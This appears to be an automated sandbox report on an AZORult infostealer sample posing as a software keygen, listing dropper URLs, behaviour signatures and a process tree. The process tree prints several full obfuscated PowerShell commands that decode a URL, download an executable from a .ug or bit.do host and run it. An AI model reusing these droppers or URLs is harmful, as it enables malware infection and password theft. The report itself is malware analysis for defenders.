azorult | 201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
17s
max time network
145s
platform
windows10_x64
resource
win10
submitted
01-10-2020 20:51

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen.exe

Score

10^/10

azorult infostealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

10 2880 powershell.exe
11 4016 powershell.exe
13 2880 powershell.exe
15 4016 powershell.exe
16 4336 powershell.exe
18 4336 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 8 IoCs

Processes:

Keygen.exerny.exeqsx.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exerny.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

1780 Keygen.exe
4864 rny.exe
4916 qsx.exe
5008 FVjhgtresfdbv.exe
5036 NHtrdsaghfDF.exe
5092 rny.exe
3704 FVjhgtresfdbv.exe
4128 NHtrdsaghfDF.exe

flow	pid	process
10	2880	powershell.exe
11	4016	powershell.exe
13	2880	powershell.exe
15	4016	powershell.exe
16	4336	powershell.exe
18	4336	powershell.exe

pid	process
1780	Keygen.exe
4864	rny.exe
4916	qsx.exe
5008	FVjhgtresfdbv.exe
5036	NHtrdsaghfDF.exe
5092	rny.exe
3704	FVjhgtresfdbv.exe
4128	NHtrdsaghfDF.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

rny.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

description	pid	process	target process
PID 4864 set thread context of 5092	4864	rny.exe	rny.exe
PID 5008 set thread context of 3704	5008	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 5036 set thread context of 4128	5036	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

2692 timeout.exe
3808 timeout.exe
Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings cmd.exe

pid	process
2692	timeout.exe
3808	timeout.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
2880	powershell.exe
3892	powershell.exe
4016	powershell.exe
1632	powershell.exe
2880	powershell.exe
3892	powershell.exe
4016	powershell.exe
1632	powershell.exe
4016	powershell.exe
2880	powershell.exe
3892	powershell.exe
1632	powershell.exe
4336	powershell.exe
4336	powershell.exe
4516	powershell.exe
4516	powershell.exe
4336	powershell.exe
4516	powershell.exe
4336	powershell.exe
4516	powershell.exe

Suspicious behavior: MapViewOfSection 3 IoCs

Processes:

rny.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

4864 rny.exe
5008 FVjhgtresfdbv.exe
5036 NHtrdsaghfDF.exe

pid	process
4864	rny.exe
5008	FVjhgtresfdbv.exe
5036	NHtrdsaghfDF.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2880	powershell.exe
Token: SeDebugPrivilege	3892	powershell.exe
Token: SeDebugPrivilege	4016	powershell.exe
Token: SeDebugPrivilege	1632	powershell.exe
Token: SeDebugPrivilege	4336	powershell.exe
Token: SeDebugPrivilege	4516	powershell.exe

Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

Keygen.exerny.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

1780 Keygen.exe
4864 rny.exe
5008 FVjhgtresfdbv.exe
5036 NHtrdsaghfDF.exe

pid	process
1780	Keygen.exe
4864	rny.exe
5008	FVjhgtresfdbv.exe
5036	NHtrdsaghfDF.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exerny.exe

description	pid	process	target process
PID 3884 wrote to memory of 420	3884	Keygen.exe	cmd.exe
PID 3884 wrote to memory of 420	3884	Keygen.exe	cmd.exe
PID 3884 wrote to memory of 420	3884	Keygen.exe	cmd.exe
PID 420 wrote to memory of 1780	420	cmd.exe	Keygen.exe
PID 420 wrote to memory of 1780	420	cmd.exe	Keygen.exe
PID 420 wrote to memory of 1780	420	cmd.exe	Keygen.exe
PID 420 wrote to memory of 2176	420	cmd.exe	mshta.exe
PID 420 wrote to memory of 2176	420	cmd.exe	mshta.exe
PID 420 wrote to memory of 2176	420	cmd.exe	mshta.exe
PID 420 wrote to memory of 2392	420	cmd.exe	mshta.exe
PID 420 wrote to memory of 2392	420	cmd.exe	mshta.exe
PID 420 wrote to memory of 2392	420	cmd.exe	mshta.exe
PID 420 wrote to memory of 2692	420	cmd.exe	timeout.exe
PID 420 wrote to memory of 2692	420	cmd.exe	timeout.exe
PID 420 wrote to memory of 2692	420	cmd.exe	timeout.exe
PID 2392 wrote to memory of 3892	2392	mshta.exe	powershell.exe
PID 2392 wrote to memory of 3892	2392	mshta.exe	powershell.exe
PID 2392 wrote to memory of 3892	2392	mshta.exe	powershell.exe
PID 2176 wrote to memory of 2880	2176	mshta.exe	powershell.exe
PID 2176 wrote to memory of 2880	2176	mshta.exe	powershell.exe
PID 2176 wrote to memory of 2880	2176	mshta.exe	powershell.exe
PID 420 wrote to memory of 2720	420	cmd.exe	mshta.exe
PID 420 wrote to memory of 2720	420	cmd.exe	mshta.exe
PID 420 wrote to memory of 2720	420	cmd.exe	mshta.exe
PID 420 wrote to memory of 3860	420	cmd.exe	mshta.exe
PID 420 wrote to memory of 3860	420	cmd.exe	mshta.exe
PID 420 wrote to memory of 3860	420	cmd.exe	mshta.exe
PID 2720 wrote to memory of 4016	2720	mshta.exe	powershell.exe
PID 2720 wrote to memory of 4016	2720	mshta.exe	powershell.exe
PID 2720 wrote to memory of 4016	2720	mshta.exe	powershell.exe
PID 3860 wrote to memory of 1632	3860	mshta.exe	powershell.exe
PID 3860 wrote to memory of 1632	3860	mshta.exe	powershell.exe
PID 3860 wrote to memory of 1632	3860	mshta.exe	powershell.exe
PID 420 wrote to memory of 3808	420	cmd.exe	timeout.exe
PID 420 wrote to memory of 3808	420	cmd.exe	timeout.exe
PID 420 wrote to memory of 3808	420	cmd.exe	timeout.exe
PID 420 wrote to memory of 4276	420	cmd.exe	mshta.exe
PID 420 wrote to memory of 4276	420	cmd.exe	mshta.exe
PID 420 wrote to memory of 4276	420	cmd.exe	mshta.exe
PID 4276 wrote to memory of 4336	4276	mshta.exe	powershell.exe
PID 4276 wrote to memory of 4336	4276	mshta.exe	powershell.exe
PID 4276 wrote to memory of 4336	4276	mshta.exe	powershell.exe
PID 420 wrote to memory of 4424	420	cmd.exe	mshta.exe
PID 420 wrote to memory of 4424	420	cmd.exe	mshta.exe
PID 420 wrote to memory of 4424	420	cmd.exe	mshta.exe
PID 4424 wrote to memory of 4516	4424	mshta.exe	powershell.exe
PID 4424 wrote to memory of 4516	4424	mshta.exe	powershell.exe
PID 4424 wrote to memory of 4516	4424	mshta.exe	powershell.exe
PID 2880 wrote to memory of 4864	2880	powershell.exe	rny.exe
PID 2880 wrote to memory of 4864	2880	powershell.exe	rny.exe
PID 2880 wrote to memory of 4864	2880	powershell.exe	rny.exe
PID 4016 wrote to memory of 4916	4016	powershell.exe	qsx.exe
PID 4016 wrote to memory of 4916	4016	powershell.exe	qsx.exe
PID 4016 wrote to memory of 4916	4016	powershell.exe	qsx.exe
PID 4864 wrote to memory of 5008	4864	rny.exe	FVjhgtresfdbv.exe
PID 4864 wrote to memory of 5008	4864	rny.exe	FVjhgtresfdbv.exe
PID 4864 wrote to memory of 5008	4864	rny.exe	FVjhgtresfdbv.exe
PID 4864 wrote to memory of 5036	4864	rny.exe	NHtrdsaghfDF.exe
PID 4864 wrote to memory of 5036	4864	rny.exe	NHtrdsaghfDF.exe
PID 4864 wrote to memory of 5036	4864	rny.exe	NHtrdsaghfDF.exe
PID 4864 wrote to memory of 5092	4864	rny.exe	rny.exe
PID 4864 wrote to memory of 5092	4864	rny.exe	rny.exe
PID 4864 wrote to memory of 5092	4864	rny.exe	rny.exe
PID 4864 wrote to memory of 5092	4864	rny.exe	rny.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3884

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\3638.tmp\start.bat" C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen.exe"
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:420

C:\Users\Admin\AppData\Local\Temp\3638.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1780

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3638.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2176

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2880

C:\Users\Public\rny.exe
"C:\Users\Public\rny.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4864

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5008

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
PID:3704

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5036

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:4128

C:\Users\Public\rny.exe
"C:\Users\Public\rny.exe"
6⤵
- Executes dropped EXE
PID:5092

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3638.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2392

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3892

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:2692

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3638.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2720

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4016

C:\Users\Public\qsx.exe
"C:\Users\Public\qsx.exe"
5⤵
- Executes dropped EXE
PID:4916

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3638.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3860

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1632

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:3808

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3638.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4276

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4336

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3638.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4424

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4516

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Temp\3638.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\3638.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\3638.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\3638.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\3638.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\3638.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\3638.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\3638.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\3638.tmp\start.bat

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Public\qsx.exe

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C:\Users\Public\qsx.exe

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C:\Users\Public\rny.exe

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C:\Users\Public\rny.exe

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C:\Users\Public\rny.exe

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memory/420-0-0x0000000000000000-mapping.dmp

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memory/1632-33-0x0000000070560000-0x0000000070C4E000-memory.dmp

Filesize
6.9MB

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memory/1632-25-0x0000000000000000-mapping.dmp

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memory/1780-3-0x0000000000000000-mapping.dmp

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memory/1780-2-0x0000000000000000-mapping.dmp

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memory/2176-7-0x0000000000000000-mapping.dmp

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memory/2392-9-0x0000000000000000-mapping.dmp

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memory/2692-10-0x0000000000000000-mapping.dmp

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memory/2720-17-0x0000000000000000-mapping.dmp

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memory/2880-13-0x0000000000000000-mapping.dmp

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memory/2880-99-0x0000000008910000-0x0000000008911000-memory.dmp

Filesize
4KB

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memory/2880-52-0x00000000088C0000-0x00000000088C1000-memory.dmp

Filesize
4KB

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memory/2880-49-0x0000000008000000-0x0000000008001000-memory.dmp

Filesize
4KB

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memory/2880-36-0x0000000008100000-0x0000000008101000-memory.dmp

Filesize
4KB

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memory/2880-34-0x0000000008090000-0x0000000008091000-memory.dmp

Filesize
4KB

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memory/2880-31-0x00000000077E0000-0x00000000077E1000-memory.dmp

Filesize
4KB

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memory/2880-14-0x0000000070560000-0x0000000070C4E000-memory.dmp

Filesize
6.9MB

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memory/2880-27-0x00000000076C0000-0x00000000076C1000-memory.dmp

Filesize
4KB

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memory/2880-101-0x000000000AB30000-0x000000000AB31000-memory.dmp

Filesize
4KB

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memory/2880-56-0x00000000087E0000-0x00000000087E1000-memory.dmp

Filesize
4KB

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memory/2880-22-0x00000000079B0000-0x00000000079B1000-memory.dmp

Filesize
4KB

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memory/2880-97-0x0000000009B50000-0x0000000009B51000-memory.dmp

Filesize
4KB

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memory/3704-133-0x0000000000417A8B-mapping.dmp

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memory/3704-136-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

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memory/3704-132-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

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memory/3808-26-0x0000000000000000-mapping.dmp

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memory/3860-21-0x0000000000000000-mapping.dmp

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memory/3892-12-0x0000000000000000-mapping.dmp

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memory/3892-71-0x0000000009620000-0x0000000009621000-memory.dmp

Filesize
4KB

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memory/3892-70-0x000000000A060000-0x000000000A061000-memory.dmp

Filesize
4KB

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memory/3892-15-0x0000000070560000-0x0000000070C4E000-memory.dmp

Filesize
6.9MB

